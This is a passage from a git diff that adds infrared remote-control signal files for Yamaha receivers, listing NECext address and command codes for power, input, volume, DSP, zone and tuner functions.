00 00 +command: 83 00 00 00 +# +name: TV/DBS +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 84 00 00 00 +# +name: INPUT_DTV/CBL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 84 00 00 00 +# +name: DVD/VCR_3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 85 00 00 00 +# +name: VCR3/DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 85 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 87 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 87 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 88 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 89 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 89 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8A 00 00 00 +# +name: MD/TAPE_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8B 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8B 00 00 00 +# +name: INPUT_MD/TAPE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8B 00 00 00 +# +name: TAPE_2/MON./EXTERNAL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8C 00 00 00 +# +name: TAPE_2_MON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8E 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 8F 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 91 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 93 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 94 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 94 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 97 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 9C 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 9D 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 9E 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: 9F 00 00 00 +# +name: XM_0 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A0 00 00 00 +# +name: XM_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A1 00 00 00 +# +name: XM_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A2 00 00 00 +# +name: XM_3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A3 00 00 00 +# +name: XM_4 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A4 00 00 00 +# +name: XM_5 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A5 00 00 00 +# +name: XM_6 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A6 00 00 00 +# +name: XM_7 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A7 00 00 00 +# +name: XM_8 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A8 00 00 00 +# +name: XM_9 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: A9 00 00 00 +# +name: TUNER_PRESET_A +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AC 00 00 00 +# +name: TUNER_PRESET_B +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AD 00 00 00 +# +name: TUNER_PRESET_C +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AE 00 00 00 +# +name: TUNER_PRESET_D +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: AF 00 00 00 +# +name: TUNER_PRESET_E +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: B0 00 00 00 +# +name: TUNER_A-E/CAT.- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BB 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BD 00 00 00 +# +name: TUNER_MEMORY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: BE 00 00 00 +# +name: EFFECT_ON/OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C1 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C2 00 00 00 +# +name: PARAMETER_DOWN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C4 00 00 00 +# +name: PARAMETER_UP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C5 00 00 00 +# +name: PARAMETER_RIGHT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C6 00 00 00 +# +name: PARAMETER_LEFT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C7 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C8 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: C9 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: CA 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: CB 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: CC 00 00 00 +# +name: FRONT_LEVEL_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: CD 00 00 00 +# +name: FRONT_LEVEL_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: CE 00 00 00 +# +name: HALL_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D0 00 00 00 +# +name: HALL_A/B +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D0 00 00 00 +# +name: HALL_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D1 00 00 00 +# +name: HALL_C/D +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D1 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D2 00 00 00 +# +name: HALL_E/LIVE_CONCERT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D2 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D3 00 00 00 +# +name: CHURCH-FREIBURG/TOKY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D3 00 00 00 +# +name: ROCK_CONCERT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D4 00 00 00 +# +name: WAREHOUSE/ROXY_THEAT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D4 00 00 00 +# +name: ENTERTAINMENT +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D5 00 00 00 +# +name: CELL_CLB/VILLAGE_G +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D5 00 00 00 +# +name: CONCERT_VIDEO_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D6 00 00 00 +# +name: RECITAL/CLASS_OPERA +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D6 00 00 00 +# +name: CONCERT_VIDEO_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D7 00 00 00 +# +name: POP_ROCK/PAVILION +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D7 00 00 00 +# +name: TV_THEATER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D8 00 00 00 +# +name: VARIETY_SPORTS/MONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D8 00 00 00 +# +name: MOVIE_THEATER_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D9 00 00 00 +# +name: MUSICAL/SPECTACLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: D9 00 00 00 +# +name: MOVIE_THEATER_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DA 00 00 00 +# +name: ADVENTURE/GENERAL +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DA 00 00 00 +# +name: PRO-LOGIC/DTS +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DB 00 00 00 +# +name: NORMAL/ENHANCED +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: DB 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E0 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E0 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E1 00 00 00 +# +name: POWER_STANDBY +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E2 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E3 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E4 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E4 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E5 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E5 00 00 00 +# +name: SPEAKER_A_ON/OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E7 00 00 00 +# +name: SPEAKERS_A_TOGGLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E7 00 00 00 +# +name: SPEAKER_B_ON/OFF +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E8 00 00 00 +# +name: SPEAKERS_B_TOGGLE +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E8 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E9 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: E9 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EA 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EA 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EB 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EB 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EC 00 00 00 +# +name: INPUT_TAPE/MD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EC 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: ED 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EE 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EE 00 00 00 +# +name: INPUT_D-TV +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: EF 00 00 00 +# +name: INPUT_VCR1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F0 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F5 00 00 00 +# +name: TUNER_PRESET+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F5 00 00 00 +# +name: TUNER_PRESET/CH_UP +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F5 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F6 00 00 00 +# +name: TUNER_PRESET- +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F6 00 00 00 +# +name: TUNER_PRESET/CH_DN +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F6 00 00 00 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F7 00 00 00 +# +name: TUNER_A/B/C/D/E +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F7 00 00 00 +# +name: TUNER_A-E/CAT.+ +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F7 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F8 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: F9 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FA 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FB 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FC 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FD 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FE 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 7D 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir new file mode 100644 index 000000000..ef0215cec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir @@ -0,0 +1,13406 @@ +Filetype: IR signals file +Version: 1 +# +name: Z4:_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 00 00 00 00 +# +name: Z4:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 00 00 00 00 +# +name: Z4:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 00 00 00 00 +# +name: Z4:_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 01 00 00 00 +# +name: Z4:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 01 00 00 00 +# +name: Z4:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 01 00 00 00 +# +name: Z4:_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 02 00 00 00 +# +name: Z4:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 02 00 00 00 +# +name: Z4:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 02 00 00 00 +# +name: Z4:_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 03 00 00 00 +# +name: Z4:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 03 00 00 00 +# +name: Z4:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 03 00 00 00 +# +name: Z4:_VOL_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 04 00 00 00 +# +name: Z4:_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 05 00 00 00 +# +name: Z4:_VOL_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 06 00 00 00 +# +name: Z4:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 06 00 00 00 +# +name: Z4:_VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 06 00 00 00 +# +name: Z4:_VOL_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 07 00 00 00 +# +name: Z4:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 07 00 00 00 +# +name: Z4:_VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 07 00 00 00 +# +name: Z4:_VOL_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 08 00 00 00 +# +name: Z4:_VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 08 00 00 00 +# +name: Z4:_VOL_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 09 00 00 00 +# +name: Z4:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 09 00 00 00 +# +name: Z4:_VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 09 00 00 00 +# +name: Z4:_VOL_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 0A 00 00 00 +# +name: Z4:_VOL_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 0B 00 00 00 +# +name: Z4:_MUTE_FULL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 0C 00 00 00 +# +name: Z4:_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 0D 00 00 00 +# +name: DSP_ENHANCER_XCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP:_X_CH_ENHANCER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP_ENHANCER_7CH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP_XCH_ENHANCER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP:_ENHANCER_XCH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP:_XCH_ENHANCE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP:_XCH_ENHANCE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 14 00 00 00 +# +name: DSP_EX_SUR_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 15 00 00 00 +# +name: DECOD:_E_NEURAL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 15 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 16 00 00 00 +# +name: MZ:_SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 16 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 17 00 00 00 +# +name: Z2:_SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 17 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 18 00 00 00 +# +name: Z3:_SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 18 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 18 00 00 00 +# +name: Z4:_SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 19 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 19 00 00 00 +# +name: SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 19 00 00 00 +# +name: SLEEP_ON_ALL +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1A 00 00 00 +# +name: Z2_MUTE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1A 00 00 00 +# +name: AZ:_SLEEP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1A 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1B 00 00 00 +# +name: MZ:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1B 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1C 00 00 00 +# +name: Z2:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1C 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1D 00 00 00 +# +name: Z3:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1D 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1D 00 00 00 +# +name: Z4:_SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1E 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1E 00 00 00 +# +name: SLEEP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1E 00 00 00 +# +name: RECOVERY_RESERVE +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1F 00 00 00 +# +name: RECOVERY:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 1F 00 00 00 +# +name: HOME_BANK_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3:_VL_P_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: V._PRESET_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: HDMI_OUT_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: MZ:_HDMI_OUT_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3:_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: HDMI_OUT_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: Z3:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 20 00 00 00 +# +name: HOME_BANK_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3:_VL_P_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: V._PRESET_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: HDMI_OUT_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: MZ:_HDMI_OUT_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3:_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: HDMI_OUT_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: Z3:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 21 00 00 00 +# +name: HOME_BANK_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3:_VL_P_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: V._PRESET_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: DISP_ASP_SMRT_ZOOM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: ASPECT_SMART_ZOOM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: DISPLAY_SMART_ZOOM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: MZ:_ASP_SMRT_ZOOM +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3:_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: Z3:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 22 00 00 00 +# +name: HOME_BANK_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3:_VL_P_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: V._PRESET_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: DISP_ASP_THROUGH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: ASPECT_THROUGH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: DISPLAY_ASPECT_THROU +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: MZ:_ASP_THROUGH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3:_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: Z3:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 23 00 00 00 +# +name: HOME_BANK_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3:_VL_P_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: V._PRESET_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: VOLUME_+_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: AZ:_VOLUME_UP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3:_VOL_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: Z3:_VOL_MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 24 00 00 00 +# +name: HOME_BANK_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3:_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3:_VL_P_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: V._PRESET_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: Z3_VOL_MEM:_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 25 00 00 00 +# +name: VOLUME_-_ALL_ZONES +type: parsed +protocol: NECext +address: 7E 00 00 00 